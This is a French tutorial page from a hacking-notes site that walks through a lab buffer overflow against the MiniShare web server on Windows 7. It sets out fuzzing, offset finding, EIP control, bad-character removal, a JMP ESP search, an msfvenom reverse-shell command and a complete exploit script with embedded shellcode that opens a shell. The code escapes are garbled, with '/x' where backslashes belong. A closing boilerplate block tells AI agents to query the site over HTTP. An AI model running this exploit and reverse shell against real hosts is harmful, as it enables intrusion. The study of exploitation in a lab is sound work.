> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/windows-buffer-overflow-minishare.md).

# Buffer Overflow Windows - MiniShare

<details>

<summary>Installation de l’environnement de débordement de tampon</summary>

1. Téléchargez la machine [Windows 7 Basic 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Dans la machine, téléchargez le [débogueur ](https://www.immunityinc.com/products/debugger/):
3. Une fois installé, exécutez la commande suivante dans le terminal :

```bash
bcdedit.exe /set {current} nx AlwaysOff
```

4. Copiez ceci [le script ](https://www.immunityinc.com/products/debugger/)dans un fichier a.py :
5. Collez le script dans `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Enfin, installez [MiniShare](https://sourceforge.net/projects/minishare/files/latest/download)

![](/files/55ec0f8525e5555992b19e9bd05f0a06b2096d51)

</details>

* Dans Immunity Debugger, nous attachons MiniShare :

  <br>

  <figure><img src="/files/5dc9c58b61b17516547b7f28a80f0f379ac33461" alt="" width="563"><figcaption></figcaption></figure>
* Nous allons maintenant procéder au fuzzing pour trouver le nombre d’octets :

```python
#!/usr/bin/python3
from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

def exploit():
    total_length = 100

    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(7)

            s.connect((ip_address, port))

            print("/n[+] Envoi de %d octets" % total_length)

            s.send(b"GET " + b"/x41" * total_length + b" HTTP/1.1/r/n/r/n")
            s.recv(1024)
            s.close() 

            total_length += 100
        except:
            print("/n[!] Le service semble avoir planté/n")
            print("/n[i] Le service a planté avec un total de %d octets envoyés" % total_length)
            sys.exit(1)

if __name__ == '__main__':
    exploit()
```

<figure><img src="/files/27324747cd85996bada68a97eb206ce0d8108ff1" alt="" width="563"><figcaption></figcaption></figure>

* Avec la commande suivante, nous obtenons 1800 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4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0
Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C
f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))    

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Le service semble avoir planté/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

/ /- Nous devons copier l'EIP :

<figure><img src="/files/e236af7e960f099a9dd9fc37e7d9004e3a432b68" alt="" width="563"><figcaption></figcaption></figure>

* Nous le collons dans le script en ajoutant 0x au début :

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x36684335
```

* Cela nous indique que cela correspond à 1787 :<br>

  <figure><img src="/files/b77be98c4cef62d3c88765c341100c6d17e239e4" alt=""><figcaption></figcaption></figure>
* Voyons maintenant si nous avons la possibilité de contrôler l'EIP :<br>

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))
 
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Le service semble avoir planté/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* Nous avons effectivement réussi à contrôler l'EIP :

<figure><img src="/files/14ea8bd203d0c09feaa633b746181291974f6a92" alt="" width="563"><figcaption></figcaption></figure>

\*Maintenant, nous devons trouver les badchars :

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip + b"C"*500 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] Le service semble avoir planté/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* Nous effectuons une surveillance « dump » du système ESP.

  <br>

  <figure><img src="/files/5269caf78c789357dc3889a8e0c162c0448be225" alt="" width="563"><figcaption></figcaption></figure>
* Avec cette commande, nous créons le fichier bytearray :

```
!mona bytearray -cpb '/x00'
```

<figure><img src="/files/c41f42e48246292bc94d0d94650a42d0491204cd" alt=""><figcaption></figcaption></figure>

* Depuis ma machine d’attaque, nous créons un serveur SMB pour nous transférer le fichier :

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

<figure><img src="/files/e831ab493388338b6359047627b81c14b21fff27" alt=""><figcaption></figcaption></figure>

* Nous le transférons :

  <figure><img src="/files/69fb26cd736d9933797716a706c352e2c13ab717" alt=""><figcaption></figcaption></figure>
* Script mis à jour :

  ```python
  #!/usr/bin/python3

  from struct import pack
  import socket
  import sys

  ip_address = "192.168.71.139"
  port = 80

  offset = 1787 

  before_eip = b"A"*offset
  eip = b"B"*4

  badchars = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
  b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
  b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
  b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
  b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
  b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
  b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
  b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")

  payload = before_eip + eip + badchars

  def exploit():
      try:
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.settimeout(7)

          s.connect((ip_address, port))
       
          s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
          s.recv(1024)
          s.close() 

      except:
          print("/n[!] Le service semble avoir planté/n")
          sys.exit(1)

  if __name__ == '__main__':
      exploit()
  ```
* Nous renvoyons le contenu du système ESP vers le « dump » :

<figure><img src="/files/eee2f0f1d555855025ff853e22b7d5b6075dcca6" alt=""><figcaption></figcaption></figure>

* Résultats de la comparaison :

```
!mona compare -a 0x03C238D0 -f C:/Users/jordan/Desktop/Analysis/bytearray.bin
```

<figure><img src="/files/d0f264542cc9a6713f3945fdd000564c0b6adbd5" alt="" width="563"><figcaption></figcaption></figure>

* Nous réécrivons le fichier sans les caractères indésirables et le retirons de notre script :

```bash
!mona bytearray -cpb '/x00/x0d'
```

<figure><img src="/files/43992d69f1df1fcd71453db0b51b2a1966ddeb5c" alt=""><figcaption></figcaption></figure>

* Et si nous effectuons à nouveau une comparaison, il n'y a plus de badchars :

  <figure><img src="/files/61fbd6c05dc76965e89080f57a405ba57d7f05d5" alt=""><figcaption></figcaption></figure>
* Nous utilisons le `!mona modules` commande, nous prenons "false".

<figure><img src="/files/cb49fbea4c545df33605538661f3cd744301c6a8" alt=""><figcaption></figcaption></figure>

* Si nous utilisons la commande suivante, dans ce cas nous obtiendrons une erreur indiquant qu’aucun pointeur n’existe :

```
!mona find -s '/xFF/xE4' -m minishare.exe
```

<figure><img src="/files/92a7e00940ada1d64cac95f54f90263d12c5919a" alt=""><figcaption></figcaption></figure>

* Nous utilisons cette commande comme alternative et en trouvons 44, puis en sélectionnons un qui ne contient pas de caractères indésirables :

```
!mona findwild -s "JMP ESP"
```

<figure><img src="/files/bc9e4b757a224967c22a114acfaf929a42406361" alt=""><figcaption></figcaption></figure>

* Maintenant, les deux-points du script dans la variable EIP avec le préfixe "0x" et tout en minuscules :

<div data-full-width="true"><figure><img src="/files/747efedc334e1355846d5b2c929036bdd8dd1162" alt=""><figcaption></figcaption></figure></div>

* Générons maintenant le shellcode pour obtenir un reverse shell :

```bash
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -b '/x00/x0d' 
```

<figure><img src="/files/829aea22cbc129b04cfe1667f3a8c78765367630" alt="" width="563"><figcaption></figcaption></figure>

* Script mis à jour :

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = pack("<L", 0x7616be7f)

shellcode = (b"/xda/xd9/xd9/x74/x24/xf4/x58/x2b/xc9/xbf/xd3/xb2/xb4/xc4"
b"/xb1/x52/x83/xe8/xfc/x31/x78/x13/x03/xab/xa1/xa6/x31/xb7"
b"/x2e/x14/xba/x47/xaf/x79/xb2/xa2/x9e/xb9/x20/xa7/xb1/x09"
b"/x22/xe5/x3d/xe1/x66/x1d/xb5/x87/xae/x12/x7e/x2d/x89/x1d"
b"/x7f/x1e/xe9/x3c/x03/x5d/x3e/x9e/x3a/xae/x33/xdf/x7b/xd3"
b"/xbe/x8d/xd4/x9f/x6d/x21/x50/xd5/xad/xca/x2a/xfb/xb5/x2f"
b"/xfa/xfa/x94/xfe/x70/xa5/x36/x01/x54/xdd/x7e/x19/xb9/xd8"
b"/xc9/x92/x09/x96/xcb/x72/x40/x57/x67/xbb/x6c/xaa/x79/xfc"
b"/x4b/x55/x0c/xf4/xaf/xe8/x17/xc3/xd2/x36/x9d/xd7/x75/xbc"
b"/x05/x33/x87/x11/xd3/xb0/x8b/xde/x97/x9e/x8f/xe1/x74/x95"
b"/xb4/x6a/x7b/x79/x3d/x28/x58/x5d/x65/xea/xc1/xc4/xc3/x5d"
b"/xfd/x16/xac/x02/x5b/x5d/x41/x56/xd6/x3c/x0e/x9b/xdb/xbe"
b"/xce/xb3/x6c/xcd/xfc/x1c/xc7/x59/x4d/xd4/xc1/x9e/xb2/xcf"
b"/xb6/x30/x4d/xf0/xc6/x19/x8a/xa4/x96/x31/x3b/xc5/x7c/xc1"
b"/xc4/x10/xd2/x91/x6a/xcb/x93/x41/xcb/xbb/x7b/x8b/xc4/xe4"
b"/x9c/xb4/x0e/x8d/x37/x4f/xd9/x72/x6f/x08/x99/x1b/x72/x96"
b"/x98/x60/xfb/x70/xf0/x86/xaa/x2b/x6d/x3e/xf7/xa7/x0c/xbf"
b"/x2d/xc2/x0f/x4b/xc2/x33/xc1/xbc/xaf/x27/xb6/x4c/xfa/x15"
b"/x11/x52/xd0/x31/xfd/xc1/xbf/xc1/x88/xf9/x17/x96/xdd/xcc"
b"/x61/x72/xf0/x77/xd8/x60/x09/xe1/x23/x20/xd6/xd2/xaa/xa9"
b"/x9b/x6f/x89/xb9/x65/x6f/x95/xed/x39/x26/x43/x5b/xfc/x90"
b"/x25/x35/x56/x4e/xec/xd1/x2f/xbc/x2f/xa7/x2f/xe9/xd9/x47"
b"/x81/x44/x9c/x78/x2e/x01/x28/x01/x52/xb1/xd7/xd8/xd6/xd1"
b"/x35/xc8/x22/x7a/xe0/x99/x8e/xe7/x13/x74/xcc/x11/x90/x7c"
b"/xad/xe5/x88/xf5/xa8/xa2/x0e/xe6/xc0/xbb/xfa/x08/x76/xbb"
b"/x2e")

payload = before_eip + eip + b"/x90"*16 + shellcode

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)
        s.connect((ip_address, port))
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 
 
     except:
         print("/n[!] Le service semble avoir planté/n")
         sys.exit(1)
 
 if __name__ == '__main__':
     exploit()
```

* Nous écoutons avec rlwrap et obtenons enfin l’accès :

<figure><img src="/files/05394db360ef44d02f8d2eda7ee41e1e410d7eba" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/windows-buffer-overflow-minishare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
